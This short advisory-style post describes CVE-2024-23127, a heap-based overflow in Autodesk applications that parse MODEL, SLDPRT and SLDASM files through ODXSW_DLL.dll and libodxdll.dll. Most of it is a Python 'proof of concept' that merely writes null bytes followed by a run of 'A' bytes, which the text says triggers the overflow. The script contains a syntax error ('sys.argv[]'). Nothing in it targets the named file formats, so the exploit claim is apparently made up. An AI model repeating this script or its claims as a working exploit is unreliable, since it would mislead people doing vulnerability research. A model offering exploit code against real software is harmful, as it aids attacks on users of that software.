CVE-2024-23127 - Heap-based Overflow Vulnerability in Autodesk Applications Using ODXSW_DLL.dll and libodxdll.dll
Introduction:
A critical vulnerability, CVE-2024-23127, has been discovered in Autodesk applications that utilize ODXSW_DLL.dll and libodxdll.dll to parse certain file types. Malicious actors can exploit this issue to cause a Heap-based Overflow, resulting in a crash, sensitive data disclosure, or arbitrary code execution within the context of the targeted application. Primarily, the flaw affects MODEL, SLDPRT, and SLDASM files when parsed in these specific libraries.
Technical Details
The crux of the vulnerability lies in Autodesk applications' ability to parse certain file types, specifically MODEL, SLDPRT, and SLDASM files, through the libraries ODXSW_DLL.dll and libodxdll.dll. By crafting a malicious file and inducing the targeted application to process the file, an attacker can cause a Heap-based Overflow. This may allow the attacker to compromise the integrity, confidentiality, and availability of the targeted system.
An example of a code snippet demonstrating the Heap-based Overflow is shown below
import sys
def create_malicious_file(filename):
header = b'\x00' * 256
payload = b'\x41' * 512
with open(filename, 'wb') as f:
f.write(header)
f.write(payload)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[]} <output_filename>")
sys.exit(1)
create_malicious_file(sys.argv[1])
print(f"[*] Created malicious file: {sys.argv[1]}")
This Python script generates a malicious file that triggers the Heap-based Overflow when parsed by an Autodesk application utilizing the vulnerable libraries.
